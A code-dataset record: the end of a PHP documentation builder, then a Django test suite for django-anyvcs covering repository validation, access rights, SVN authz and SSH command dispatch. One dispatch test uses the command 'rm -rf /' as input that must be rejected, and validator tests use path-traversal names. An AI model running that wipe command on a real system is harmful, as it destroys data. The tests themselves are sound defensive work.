->addConstant("PGGI_SIGNAL_GAPPLICATION_SHUTDOWN" , array("@var ")) ->addConstant("PGGI_SIGNAL_GAPPLICATION_ACTIVATE" , array("@var ")) ->addConstant("PGGI_SIGNAL_GCONTAINER_ADD" , array("@var ")) ->addConstant("PGGI_SIGNAL_GMENUITEM_ACTIVATE" , array("@var ")) ->addConstant("PGGI_SIGNAL_GCOMBO_BOX_CHANGED" , array("@var ")) ->addConstant("PGGI_SIGNAL_GCOMBO_BOX_MOVE_ACTIVE" , array("@var ")) ->addConstant("PGGI_SIGNAL_GTEXT_BUFFER_CHANGED" , array("@var ")) ->addConstant("PGGI_SIGNAL_GDIALOG_RESPONSE" , array("@var ")) ->addConstant("PGGI_SIGNAL_GDIALOG_CLOSE" , array("@var ")); $PGGIDoc->addClass("GAboutDialog" , $GAboutDialogDoc ->getData()) ->addClass("GApplication" , $GApplicationDoc ->getData()) ->addClass("GBox" , $GBoxDoc ->getData()) ->addClass("GComboBox" , $GComboBoxDoc ->getData()) ->addClass("GComboBoxText" , $GComboBoxTextDoc ->getData()) ->addClass("GContainer" , $GContainerDoc ->getData()) ->addClass("GDialog" , $GDialogDoc ->getData()) ->addClass("GImage" , $GImageDoc ->getData()) ->addClass("GLabel" , $GLabelDoc ->getData()) ->addClass("GMenu" , $GMenuDoc ->getData()) ->addClass("GMenubar" , $GMenubarDoc ->getData()) ->addClass("GMenuItem" , $GMenuItemDoc ->getData()) ->addClass("GMenuShell" , $GMenuShellDoc ->getData()) ->addClass("GScrollWindow" , $GScrollWindowDoc ->getData()) ->addClass("GTextBuffer" , $GTextBufferDoc ->getData()) ->addClass("GWidget" , $GWidgetDoc ->getData()) ->addClass("GWindow" , $GWindowDoc ->getData()) ->addClass("PGGIException" , $PGGIExceptionDoc ->getData()); $PGGIDocumentationDocFile = $PGGIDoc->getData();
Letargie/pggi
tools/doc/PGGI.doc.php
PHP
bsd-3-clause
11,714
# -*- coding: utf-8 -*- # Copyright (c) 2014-2016, Clemson University # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # * Neither the name of Clemson University nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. from django.test import TestCase from django.test.client import Client from django.http import Http404 from django.contrib.auth.models import User, Group from django.core.exceptions import ValidationError from django.core.urlresolvers import reverse from django.utils.encoding import DjangoUnicodeDecodeError from unittest import skipUnless from .models import Repo from . import settings from django_anyvcs import dispatch, shortcuts import anyvcs.git import anyvcs.hg import anyvcs.svn import gzip import json import os import shutil import subprocess import tempfile DEVNULL = open(os.devnull, 'wb') GIT = 'git' URI_FORMAT = { ('git', 'ssh'): "{user}@{hostname}:{path}", ('svn', 'ssh'): "svn+ssh://{user}@{hostname}/{path}", ('hg', 'ssh'): "ssh://{user}@{hostname}/{path}", ('git', 'anonymous-ssh'): "{anonymous}@{hostname}:{path}", ('svn', 'anonymous-ssh'): "svn+ssh://{anonymous}@{hostname}/{path}", ('hg', 'anonymous-ssh'): "ssh://{anonymous}@{hostname}/{path}", } URI_CONTEXT = { 'anonymous': 'anonymous', 'user': 'user', 'hostname': 'hostname', } # Python 3 compatibility hack. try: basestring except NameError: basestring = str class BaseTestCase(TestCase): def setUp(self): self.original_root = settings.VCSREPO_ROOT settings.VCSREPO_ROOT = tempfile.mkdtemp(prefix='anyvcs-test.') self.original_uri_format = settings.VCSREPO_URI_FORMAT settings.VCSREPO_URI_FORMAT = URI_FORMAT self.original_uri_context = settings.VCSREPO_URI_CONTEXT settings.VCSREPO_URI_CONTEXT = URI_CONTEXT def tearDown(self): Repo.objects.all().delete() shutil.rmtree(settings.VCSREPO_ROOT) settings.VCSREPO_ROOT = self.original_root settings.VCSREPO_URI_FORMAT = self.original_uri_format settings.VCSREPO_URI_CONTEXT = self.original_uri_context def assertPathExists(self, path): if isinstance(path, (tuple, list)): path = os.path.join(*path) if not os.path.exists(path): raise AssertionError("Path does not exist: ", path) def assertPathNotExists(self, path): if isinstance(path, (tuple, list)): path = os.path.join(*path) try: self.assertPathExists(path) except AssertionError: return raise AssertionError("Path exists: ", path) class TestingFrameworkTestCase(BaseTestCase): def test_assert_path_not_exists(self): path = tempfile.mkdtemp(prefix='django-anyvcs-path-exists') self.assertPathNotExists('/path/does/not/exist') self.assertPathNotExists(['/path', 'does', 'not', 'exist']) self.assertRaises(AssertionError, self.assertPathNotExists, path) self.assertRaises(AssertionError, self.assertPathNotExists, ['/'] + path.split(os.path.pathsep)) os.rmdir(path) def test_assert_path_exists(self): path = tempfile.mkdtemp(prefix='django-anyvcs-path-exists') self.assertRaises(AssertionError, self.assertPathExists, '/path/does/not/exist') self.assertRaises(AssertionError, self.assertPathExists, ['/path', 'does', 'not', 'exist']) self.assertPathExists(path) self.assertPathExists(['/'] + path.split(os.path.pathsep)) os.rmdir(path) class FixtureTestCase(BaseTestCase): fixtures = ['django_anyvcs_basic.json'] def setUp(self): # Can't call super() here because fixtures are loaded before setUp() self.repo = Repo.objects.get(name='repo') def tearDown(self): Repo.objects.all().delete() def test_path_exists(self): self.assertPathExists(self.repo.abspath) class CreateRepoTestCase(BaseTestCase): def test_invalid_names(self): fail = [] for name in ('$', '/', 'a//b'): repo = Repo(name=name, path='repo', vcs='git') try: repo.full_clean() fail.append(name) except ValidationError: pass if fail: self.fail('%r marked valid' % fail) def test_valid_names(self): fail = [] for name in ('test', 'test@example.com', 'foo@example.com/bar', 'foo@example.com/bar@example.com'): repo = Repo(name=name, path='repo', vcs='git') try: repo.full_clean() except ValidationError: fail.append(name) if fail: self.fail('%r marked invalid' % fail) def test_invalid_paths(self): for path in ('.', '..', 'a/..', '../a', '.a', '.a/a', 'a/.a'): repo = Repo(name='repo', path=path, vcs='git') self.assertRaises(ValidationError, repo.full_clean) def test_invalid_vcs(self): repo = Repo(name='repo', path='repo', vcs='invalid') self.assertRaises(ValidationError, repo.full_clean) def test_git(self): repo = Repo(name='a', path='b', vcs='git') repo.full_clean() repo.save() self.assertEqual(repo.path, 'b') self.assertEqual(repo.abspath, os.path.join(settings.VCSREPO_ROOT, 'b')) self.assertIsInstance(repo.repo, anyvcs.git.GitRepo) def test_git_without_path(self): repo = Repo(name='a', vcs='git') repo.full_clean() repo.save() self.assertIsInstance(repo.repo, anyvcs.git.GitRepo) def test_git_absolute_path(self): d = tempfile.mkdtemp(prefix='anyvcs-test.') path = os.path.join(d, 'repo') repo = Repo(name='a', path=path, vcs='git') repo.full_clean() repo.save() self.assertEqual(repo.path, path) self.assertEqual(repo.abspath, path) self.assertIsInstance(repo.repo, anyvcs.git.GitRepo) shutil.rmtree(d) def test_hg(self): repo = Repo(name='a', path='b', vcs='hg') repo.full_clean() repo.save() self.assertEqual(repo.path, 'b') self.assertEqual(repo.abspath, os.path.join(settings.VCSREPO_ROOT, 'b')) self.assertIsInstance(repo.repo, anyvcs.hg.HgRepo) def test_hg_without_path(self): repo = Repo(name='a', vcs='hg') repo.full_clean() repo.save() self.assertIsInstance(repo.repo, anyvcs.hg.HgRepo) def test_hg_absolute_path(self): d = tempfile.mkdtemp(prefix='anyvcs-test.') path = os.path.join(d, 'repo') repo = Repo(name='a', path=path, vcs='hg') repo.full_clean() repo.save() self.assertEqual(repo.path, path) self.assertEqual(repo.abspath, path) self.assertIsInstance(repo.repo, anyvcs.hg.HgRepo) shutil.rmtree(d) def test_svn(self): repo = Repo(name='a', path='b', vcs='svn') repo.full_clean() repo.save() self.assertEqual(repo.path, os.path.join('svn', 'a')) self.assertEqual(repo.abspath, os.path.join(settings.VCSREPO_ROOT, 'svn', 'a')) self.assertIsInstance(repo.repo, anyvcs.svn.SvnRepo) def test_svn_without_path(self): repo = Repo(name='a', vcs='svn') repo.full_clean() repo.save() self.assertEqual(repo.path, os.path.join('svn', 'a')) self.assertEqual(repo.abspath, os.path.join(settings.VCSREPO_ROOT, 'svn', 'a')) self.assertIsInstance(repo.repo, anyvcs.svn.SvnRepo) def test_svn_absolute_path(self): d = tempfile.mkdtemp(prefix='anyvcs-test.') path = os.path.join(d, 'repo') repo = Repo(name='a', path=path, vcs='svn') repo.full_clean() repo.save() self.assertEqual(repo.path, os.path.join('svn', 'a')) self.assertEqual(repo.abspath, os.path.join(settings.VCSREPO_ROOT, 'svn', 'a')) self.assertIsInstance(repo.repo, anyvcs.svn.SvnRepo) shutil.rmtree(d) class ChangeRepoTestCase(BaseTestCase): def test_rename_git(self): repo = Repo(name='a', vcs='git') repo.full_clean() repo.save() old_path = repo.path repo.name = 'b' repo.full_clean() repo.save() self.assertEqual(repo.name, 'b') self.assertEqual(repo.path, old_path) self.assertPathExists(repo.abspath) def test_move_git(self): repo = Repo(name='a', vcs='git') repo.full_clean() repo.save() old_abspath = repo.abspath repo.path = 'b' repo.full_clean() repo.save() self.assertEqual(repo.name, 'a') self.assertEqual(repo.path, 'b') self.assertPathExists(repo.abspath) self.assertPathNotExists(old_abspath) def test_rename_svn(self): repo = Repo(name='a', vcs='svn') repo.full_clean() repo.save() repo.name = 'b' repo.full_clean() repo.save() self.assertEqual(repo.name, 'b') self.assertEqual(repo.path, os.path.join('svn', 'b')) self.assertPathExists(repo.abspath) def test_move_svn(self): repo = Repo(name='a', vcs='svn') repo.full_clean() repo.save() repo.path = 'b' repo.full_clean() repo.save() self.assertEqual(repo.name, 'a') self.assertEqual(repo.path, os.path.join('svn', 'a')) self.assertPathExists(repo.abspath) class CannotDeleteSymlinkTestCase(BaseTestCase): def test(self): os.mkdir(os.path.join(settings.VCSREPO_ROOT, 'svn.target')) os.symlink('svn.target', os.path.join(settings.VCSREPO_ROOT, 'svn')) repo = Repo(name='a', vcs='svn') repo.full_clean() repo.save() repo.delete() class LookupTestCase(BaseTestCase): @classmethod def setUpClass(cls): super(LookupTestCase, cls).setUpClass() cls.user1 = User.objects.create(username='user1') cls.user2 = User.objects.create(username='user2') cls.group1 = Group.objects.create(name='group1') cls.group2 = Group.objects.create(name='group2') cls.group1.user_set.add(cls.user1) cls.group2.user_set.add(cls.user2) @classmethod def tearDownClass(cls): User.objects.all().delete() Group.objects.all().delete() super(LookupTestCase, cls).tearDownClass() def _json(self, response, encoding='ascii'): self.assertEqual(response.status_code, 200) self.assertIn('Content-Type', response) self.assertEqual(response['Content-Type'], 'application/json') content = response.content.decode(encoding) return json.loads(content) def test_public_read_anonymous(self): vcs = 'git' for public_read, public_rights in ((False, '-'), (True, 'r')): repo = Repo.objects.create( name='repo', path='repo', vcs=vcs, public_read=public_read, ) client = Client() url = reverse('django_anyvcs.views.access', args=(repo.name,)) response = client.get(url) document = self._json(response) self.assertIn('path', document) self.assertEqual(document['path'], os.path.join(settings.VCSREPO_ROOT, 'repo')) self.assertIn('vcs', document) self.assertEqual(document['vcs'], vcs) self.assertIn('rights', document) self.assertEqual(document['rights'], public_rights) repo.delete() def test_public_read_user(self): vcs = 'hg' for public_read, public_rights in ((False, '-'), (True, 'r')): repo = Repo.objects.create( name='repo', path='repo', vcs=vcs, public_read=public_read, ) client = Client() url = reverse('django_anyvcs.views.access', args=(repo.name,)) response = client.get(url, {'u': self.user1.username}) document = self._json(response) self.assertIn('path', document) self.assertEqual(document['path'], os.path.join(settings.VCSREPO_ROOT, 'repo')) self.assertIn('vcs', document) self.assertEqual(document['vcs'], vcs) self.assertIn('rights', document) self.assertEqual(document['rights'], public_rights) repo.delete() @skipUnless( settings.VCSREPO_USE_USER_RIGHTS, "not using UserRights" ) def test_user_overrides_public_read(self): from .models import UserRights vcs = 'git' for public_read, public_rights in ((False, '-'), (True, 'r')): for user_rights in ('-', 'r', 'rw'): repo = Repo.objects.create( name='repo', path='repo', vcs=vcs, public_read=public_read, ) UserRights.objects.create( repo=repo, user=self.user1, rights=user_rights, ) client = Client() url = reverse('django_anyvcs.views.access', args=(repo.name,)) response = client.get(url, {'u': self.user1.username}) document = self._json(response) self.assertIn('path', document) self.assertEqual(document['path'], os.path.join(settings.VCSREPO_ROOT, 'repo')) self.assertIn('vcs', document) self.assertEqual(document['vcs'], vcs) self.assertIn('rights', document) self.assertEqual(document['rights'], user_rights) repo.delete() @skipUnless( settings.VCSREPO_USE_GROUP_RIGHTS, "not using GroupRights" ) def test_group_overrides_public_read(self): from .models import GroupRights vcs = 'hg' for public_read, public_rights in ((False, '-'), (True, 'r')): for group_rights in ('-', 'r', 'rw'): repo = Repo.objects.create( name='repo', path='repo', vcs=vcs, public_read=public_read, ) GroupRights.objects.create( repo=repo, group=self.group1, rights=group_rights, ) client = Client() url = reverse('django_anyvcs.views.access', args=(repo.name,)) response = client.get(url, {'u': self.user1.username}) document = self._json(response) self.assertIn('path', document) self.assertEqual(document['path'], os.path.join(settings.VCSREPO_ROOT, 'repo')) self.assertIn('vcs', document) self.assertEqual(document['vcs'], vcs) self.assertIn('rights', document) self.assertEqual(document['rights'], group_rights) repo.delete() @skipUnless( settings.VCSREPO_USE_USER_RIGHTS and settings.VCSREPO_USE_GROUP_RIGHTS, "not using UserRights and GroupRights" ) def test_user_overrides_group_rights(self): from .models import UserRights, GroupRights vcs = 'git' for group_rights in ('-', 'r', 'rw'): for user_rights in ('-', 'r', 'rw'): repo = Repo.objects.create( name='repo', path='repo', vcs=vcs, ) UserRights.objects.create( repo=repo, user=self.user1, rights=user_rights, ) GroupRights.objects.create( repo=repo, group=self.group1, rights=group_rights, ) client = Client() url = reverse('django_anyvcs.views.access', args=(repo.name,)) response = client.get(url, {'u': self.user1.username}) document = self._json(response) self.assertIn('path', document) self.assertEqual(document['path'], os.path.join(settings.VCSREPO_ROOT, 'repo')) self.assertIn('vcs', document) self.assertEqual(document['vcs'], vcs) self.assertIn('rights', document) self.assertEqual(document['rights'], user_rights) repo.delete() def test_rights_function(self): repo = Repo.objects.create( name='repo', path='repo', vcs='git', ) original_rights_function = settings.VCSREPO_RIGHTS_FUNCTION try: for rights in ('-', 'r', 'rw'): def f(r, u): self.assertEqual(repo, r) self.assertEqual(self.user1, u) return rights settings.VCSREPO_RIGHTS_FUNCTION = f client = Client() url = reverse('django_anyvcs.views.access', args=(repo.name,)) response = client.get(url, {'u': self.user1.username}) document = self._json(response) self.assertIn('rights', document) self.assertEqual(document['rights'], rights) finally: settings.VCSREPO_RIGHTS_FUNCTION = original_rights_function class SvnAuthzTestCase(BaseTestCase): def setUp(self): try: from ConfigParser import RawConfigParser except ImportError: from configparser import RawConfigParser super(SvnAuthzTestCase, self).setUp() repo = Repo(name='a', vcs='svn') repo.full_clean() repo.save() self.repo = repo self.authz = os.path.join(repo.abspath, 'conf', 'authz') self.config = RawConfigParser(allow_no_value=True) self.user1 = User.objects.create(username='user1') self.user2 = User.objects.create(username='user2') self.group1 = Group.objects.create(name='group1') self.group1.user_set.add(self.user1) def tearDown(self): User.objects.all().delete() Group.objects.all().delete() super(SvnAuthzTestCase, self).tearDown() @skipUnless( settings.VCSREPO_USE_USER_RIGHTS and settings.VCSREPO_USER_MODEL == 'auth.User', "not using UserRights with auth.User" ) def test_add_user_rights(self): from .models import UserRights UserRights.objects.create( repo=self.repo, user=self.user1, rights='r', ) self.config.read(self.authz) self.assertTrue(self.config.has_section('/')) self.assertTrue(self.config.has_option('/', self.user1.username)) self.assertEqual(self.config.get('/', self.user1.username), 'r') @skipUnless( settings.VCSREPO_USE_USER_RIGHTS and settings.VCSREPO_USER_MODEL == 'auth.User', "not using UserRights with auth.User" ) def test_remove_user_rights(self): from .models import UserRights rights = UserRights.objects.create( repo=self.repo, user=self.user1, rights='r', ) rights.delete() self.config.read(self.authz) self.assertTrue(self.config.has_section('/')) self.assertFalse(self.config.has_option('/', self.user1.username)) @skipUnless( settings.VCSREPO_USE_GROUP_RIGHTS and settings.VCSREPO_USER_MODEL == 'auth.User' and settings.VCSREPO_GROUP_MODEL == 'auth.Group', "not using GroupRights with auth.User and auth.Group" ) def test_add_group_rights(self): from .models import GroupRights GroupRights.objects.create( repo=self.repo, group=self.group1, rights='r', ) g = '@' + self.group1.name self.config.read(self.authz) self.assertTrue(self.config.has_section('groups')) self.assertTrue(self.config.has_option('groups', g)) self.assertEqual(self.config.get('groups', g), self.user1.username) self.assertTrue(self.config.has_section('/')) self.assertTrue(self.config.has_option('/', g)) self.assertEqual(self.config.get('/', g), 'r') @skipUnless( settings.VCSREPO_USE_GROUP_RIGHTS and settings.VCSREPO_USER_MODEL == 'auth.User' and settings.VCSREPO_GROUP_MODEL == 'auth.Group', "not using GroupRights with auth.User and auth.Group" ) def test_remove_group_rights(self): from .models import GroupRights rights = GroupRights.objects.create( repo=self.repo, group=self.group1, rights='r', ) rights.delete() g = '@' + self.group1.name self.config.read(self.authz) if self.config.has_section('groups'): self.assertFalse(self.config.has_option('groups', g)) self.assertTrue(self.config.has_section('/')) self.assertFalse(self.config.has_option('/', g)) @skipUnless( settings.VCSREPO_USE_GROUP_RIGHTS and settings.VCSREPO_USER_MODEL == 'auth.User' and settings.VCSREPO_GROUP_MODEL == 'auth.Group', "not using GroupRights with auth.User and auth.Group" ) def test_add_user_to_group(self): from .models import GroupRights GroupRights.objects.create( repo=self.repo, group=self.group1, rights='r', ) self.group1.user_set.add(self.user2) g = '@' + self.group1.name self.config.read(self.authz) self.assertTrue(self.config.has_section('groups')) self.assertTrue(self.config.has_option('groups', g)) members = set(map(str.strip, self.config.get('groups', g).split(','))) self.assertEqual(members, set([self.user1.username, self.user2.username])) self.assertTrue(self.config.has_section('/')) self.assertTrue(self.config.has_option('/', g)) self.assertEqual(self.config.get('/', g), 'r') @skipUnless( settings.VCSREPO_USE_GROUP_RIGHTS and settings.VCSREPO_USER_MODEL == 'auth.User' and settings.VCSREPO_GROUP_MODEL == 'auth.Group', "not using GroupRights with auth.User and auth.Group" ) def test_remove_user_from_group(self): from .models import GroupRights GroupRights.objects.create( repo=self.repo, group=self.group1, rights='r', ) self.group1.user_set.remove(self.user1) g = '@' + self.group1.name self.config.read(self.authz) self.assertTrue(self.config.has_section('groups')) self.assertTrue(self.config.has_option('groups', g)) self.assertEqual(self.config.get('groups', g), '') self.assertTrue(self.config.has_section('/')) self.assertTrue(self.config.has_option('/', g)) self.assertEqual(self.config.get('/', g), 'r') class RepoUriTestCase(BaseTestCase): def test_svn(self): svn = Repo.objects.create(name='svn', vcs='svn', path='thesvn') correct = 'svn+ssh://user@hostname/svn' self.assertEqual(svn.ssh_uri, correct) svn.delete() def test_git(self): git = Repo.objects.create(name='git', vcs='git', path='thegit') correct = 'user@hostname:git' self.assertEqual(git.ssh_uri, correct) git.delete() def test_hg(self): hg = Repo.objects.create(name='hg', vcs='hg', path='thehg') correct = 'ssh://user@hostname/hg' self.assertEqual(hg.ssh_uri, correct) hg.delete() def test_anonymous_svn(self): svn = Repo.objects.create(name='svn', vcs='svn', path='thesvn') correct = 'svn+ssh://anonymous@hostname/svn' self.assertEqual(svn.anonymous_ssh_uri, correct) svn.delete() def test_anonymous_git(self): git = Repo.objects.create(name='git', vcs='git', path='thegit') correct = 'anonymous@hostname:git' self.assertEqual(git.anonymous_ssh_uri, correct) git.delete() def test_anonymous_hg(self): hg = Repo.objects.create(name='hg', vcs='hg', path='thehg') correct = 'ssh://anonymous@hostname/hg' self.assertEqual(hg.anonymous_ssh_uri, correct) hg.delete() class RequestTestCase(BaseTestCase): def setUp(self): super(RequestTestCase, self).setUp() self.original_dispatch_VCSREPO_ROOT = dispatch.VCSREPO_ROOT dispatch.VCSREPO_ROOT = settings.VCSREPO_ROOT def tearDown(self): dispatch.VCSREPO_ROOT = self.original_dispatch_VCSREPO_ROOT super(RequestTestCase, self).tearDown() def test_git_cmd1(self): request = dispatch.get_request(['git-upload-pack', 'bob/code']) request.data = {'rights': 'r', 'path': 'path/to/code'} cmd = request.get_command() expected = ['git', 'shell', '-c', "git-upload-pack 'path/to/code'"] self.assertEqual(expected, cmd) def test_git_cmd2(self): request = dispatch.get_request(['git-upload-pack', 'bob/code']) request.data = {'rights': '', 'path': 'path/to/code'} self.assertRaises(dispatch.DispatchException, request.get_command) def test_git_cmd3(self): request = dispatch.get_request(['git-receive-pack', 'bob/code']) request.data = {'rights': 'r', 'path': 'path/to/code'} self.assertRaises(dispatch.DispatchException, request.get_command) def test_git_cmd4(self): request = dispatch.get_request(['git-upload-pack', '--someflag', 'bob/code']) request.data = {'rights': 'r', 'path': 'path/to/code'} cmd = request.get_command() expected = ['git', 'shell', '-c', "git-upload-pack 'path/to/code'"] self.assertEqual(expected, cmd) def test_git_repo_name1(self): request = dispatch.get_request(['git-upload-pack', 'bob/code']) self.assertEqual('bob/code', request.repo_name) def test_git_repo_name2(self): request = dispatch.get_request(['git-upload-pack', 'bob/code.git']) self.assertEqual('bob/code', request.repo_name) def test_git_noname(self): self.assertRaises(dispatch.DispatchException, dispatch.get_request, ['git-receive-pack']) def test_hg_cmd1(self): '''Repository specified with -R ''' request = dispatch.get_request(['hg', '-R', 'bob/code']) request.data = {'rights': 'rw', 'path': 'path/to/code'} cmd = request.get_command() expected = ['hg', '-R', 'path/to/code', 'serve', '--stdio'] self.assertEqual(expected, cmd) def test_hg_cmd2(self): '''Repository specified with --repository ''' request = dispatch.get_request(['hg', '--repository', 'bob/code']) request.data = {'rights': 'rw', 'path': 'path/to/code'} cmd = request.get_command() expected = ['hg', '-R', 'path/to/code', 'serve', '--stdio'] self.assertEqual(expected, cmd) def test_hg_cmd3(self): '''Read-only access. ''' request = dispatch.get_request(['hg', '--repository', 'bob/code']) request.data = {'rights': 'r', 'path': 'path/to/code'} cmd = request.get_command() hook = 'echo "Error: Permission denied (read-only)" >&2; false' expected = [ 'hg', '-R', 'path/to/code', 'serve', '--stdio', '--config', 'hooks.prechangegroup.readonly=' + hook, '--config', 'hooks.prepushkey.readonly=' + hook, ] self.assertEqual(expected, cmd) def test_svn_cmd1(self): '''Without username. ''' request = dispatch.get_request(['svnserve', '--root', 'bob/code']) request.data = {'rights': 'r', 'path': 'path/to/code'} cmd = request.get_command() expected = ['svnserve', '--root', os.path.join(settings.VCSREPO_ROOT, 'svn'), '--tunnel'] self.assertEqual(expected, cmd) def test_svn_cmd2(self): '''With username. ''' request = dispatch.get_request(['svnserve', '--root', 'bob/code'], 'bob') request.data = {'rights': 'r', 'path': 'path/to/code'} cmd = request.get_command() expected = ['svnserve', '--root', os.path.join(settings.VCSREPO_ROOT, 'svn'), '--tunnel', '--tunnel-user', 'bob'] self.assertEqual(expected, cmd) def test_bad_command1(self): self.assertRaises(dispatch.DispatchException, dispatch.get_request, ['rm', '-rf', '/']) def test_hg_postprocess(self): request = dispatch.get_request(['hg', '--repository', 'bob/code']) request.data = {'rights': 'r', 'path': 'path/to/code'} result = request.postprocess('hg: cloning from path/to/code') expected = 'hg: cloning from bob/code' self.assertEqual(expected, result) def test_git_write1(self): '''Writes can happen for git-receive-pack''' request = dispatch.get_request(['git-receive-pack', 'bob/code']) self.assertTrue(request.write) def test_git_write2(self): '''Writes cannot happen for git-upload-pack''' request = dispatch.get_request(['git-upload-pack', 'bob/code']) self.assertFalse(request.write) def test_hg_write1(self): '''Writes are assumed to happen if a user has privileges''' request = dispatch.get_request(['hg', '--repository', 'bob/code']) request.add_data({'rights': 'rw', 'path': 'path/to/code'}) self.assertTrue(request.write) def test_hg_write2(self): '''Writes can't happen if they don't have write privilege''' request = dispatch.get_request(['hg', '--repository', 'bob/code']) request.add_data({'rights': 'r', 'path': 'path/to/code'}) self.assertFalse(request.write) def test_repo1(self): '''Repo property fetches objects by name appropriately''' repo = Repo(name='bob/code', vcs='hg') repo.full_clean() repo.save() request = dispatch.get_request(['hg', '--repository', 'bob/code']) self.assertIsInstance(request.repo, Repo) self.assertEqual(repo.pk, request.repo.pk) class PristineTestCase(BaseTestCase): ''' Normal, pristine repository. ''' def setUp(self): super(PristineTestCase, self).setUp() self.repo = Repo(name='repo', vcs='git') self.repo.full_clean() self.repo.save() def test_get_entry_or_404_fail1(self): self.assertRaises(Http404, shortcuts.get_entry_or_404, self.repo, 'notexist', 'notexist') class NormalContentsTestCase(BaseTestCase): ''' Repository with some contents for testing purposes. * rev1: One of every file type, including subdirs. * rev2: Empty tree. * rev3: Text and binary files. Structure at rev1: . ├── a ├── b │   └── c └── d -> a Structure at rev3: . ├── encoding.txt ├── text.txt └── binary.gz ''' def setUp(self): super(NormalContentsTestCase, self).setUp() self.repo = Repo(name='repo', vcs='git') self.repo.full_clean() self.repo.save() # Basic repository setup. wc = tempfile.mktemp() cmd = [GIT, 'clone', '-q', self.repo.abspath, wc] subprocess.check_call(cmd, stderr=DEVNULL) setup_git(cwd=wc) # rev1 setup with open(os.path.join(wc, 'a'), 'w') as fp: pass os.makedirs(os.path.join(wc, 'b')) with open(os.path.join(wc, 'b', 'c'), 'w') as fp: pass os.symlink('a', os.path.join(wc, 'd')) cmd = [GIT, 'add', '-A', '.'] subprocess.check_call(cmd, cwd=wc) cmd = [GIT, 'commit', '-q', '-m', 'initial commit'] subprocess.check_call(cmd, cwd=wc) # rev2 setup cmd = [GIT, 'rm', '-rq', '.'] subprocess.check_call(cmd, cwd=wc) cmd = [GIT, 'commit', '-q', '-m', 'remove all files'] subprocess.check_call(cmd, cwd=wc) # rev3 setup with open(os.path.join(wc, 'text.txt'), 'w') as fp: fp.write('hello\n') with open(os.path.join(wc, 'encoding.txt'), 'wb') as fp: fp.write(u'P\xe9rez\n'.encode('latin1')) with gzip.open(os.path.join(wc, 'binary.gz'), 'wb') as fp: fp.write('hello\n'.encode('ascii')) cmd = [GIT, 'add', '-A', '.'] subprocess.check_call(cmd, cwd=wc) cmd = [GIT, 'commit', '-q', '-m', 'text and binary file'] subprocess.check_call(cmd, cwd=wc) # Push the result. cmd = [GIT, 'push', '-q', '-u', 'origin', 'master'] subprocess.check_call(cmd, cwd=wc, stdout=DEVNULL) # Set up some easy names. self.branch = 'master' self.rev1 = self.repo.repo.canonical_rev(self.branch + '~2') self.rev2 = self.repo.repo.canonical_rev(self.branch + '~1') self.rev3 = self.repo.repo.canonical_rev(self.branch + '~0') shutil.rmtree(wc) self.repo = Repo.objects.get() def test_get_entry_or_404_file1(self): '''Standard file test''' entry = shortcuts.get_entry_or_404(self.repo, self.rev1, '/a') self.assertEqual('a', entry.path) self.assertEqual('f', entry.type) def test_get_entry_or_404_file2(self): '''File in directory structure test''' entry = shortcuts.get_entry_or_404(self.repo, self.rev1, '/b/c') self.assertEqual('b/c', entry.path) self.assertEqual('f', entry.type) def test_get_entry_or_404_dir1(self): '''Standard directory test''' entry = shortcuts.get_entry_or_404(self.repo, self.rev1, '/b') self.assertEqual('b', entry.path) self.assertEqual('d', entry.type) def test_get_entry_or_404_dir2(self): '''Listing contents of empty tree should not 404''' entry = shortcuts.get_entry_or_404(self.repo, self.rev2, '/') self.assertEqual('/', entry.path) self.assertEqual('d', entry.type) def test_get_entry_or_404_link1(self): '''Standard link test''' entry = shortcuts.get_entry_or_404(self.repo, self.rev1, '/d') self.assertEqual('d', entry.path) self.assertEqual('l', entry.type) def test_get_entry_or_404_report1(self): '''Keyword arguments should pass through''' entry = shortcuts.get_entry_or_404(self.repo, self.rev1, '/a', report=('commit',)) self.assertEqual('a', entry.path) self.assertEqual('f', entry.type) self.assertEqual(self.rev1, entry.commit) def test_get_entry_or_404_fail1(self): '''Bad paths raise 404''' self.assertRaises(Http404, shortcuts.get_entry_or_404, self.repo, self.rev1, 'notexist') def test_get_entry_or_404_fail2(self): '''Bad revisions raise 404''' self.assertRaises(Http404, shortcuts.get_entry_or_404, self.repo, 'notexist', '/a') def test_get_entry_or_404_fail3(self): '''Extra bad path test for the empty tree case''' self.assertRaises(Http404, shortcuts.get_entry_or_404, self.repo, self.rev2, 'a') def test_get_directory_contents1(self): '''Basic usage''' result = shortcuts.get_directory_contents(self.repo, self.rev1, '/') expected = [ {'name': 'a', 'path': 'a', 'type': 'f', 'url': 'a'}, {'name': 'b', 'path': 'b', 'type': 'd', 'url': 'b'}, {'name': 'd', 'path': 'd', 'type': 'l'}, ] self.assertEqual(result, expected) def test_get_directory_contents2(self): '''Keyword arguments are passed through''' result = shortcuts.get_directory_contents(self.repo, self.rev1, '/', report=('target',)) expected = [ {'name': 'a', 'path': 'a', 'type': 'f', 'url': 'a'}, {'name': 'b', 'path': 'b', 'type': 'd', 'url': 'b'}, {'name': 'd', 'path': 'd', 'type': 'l', 'target': 'a'}, ] self.assertEqual(result, expected) def test_get_directory_contents3(self): '''Test reverse sort parameter''' result = shortcuts.get_directory_contents(self.repo, self.rev1, '/', reverse=True) expected = [ {'name': 'd', 'path': 'd', 'type': 'l'}, 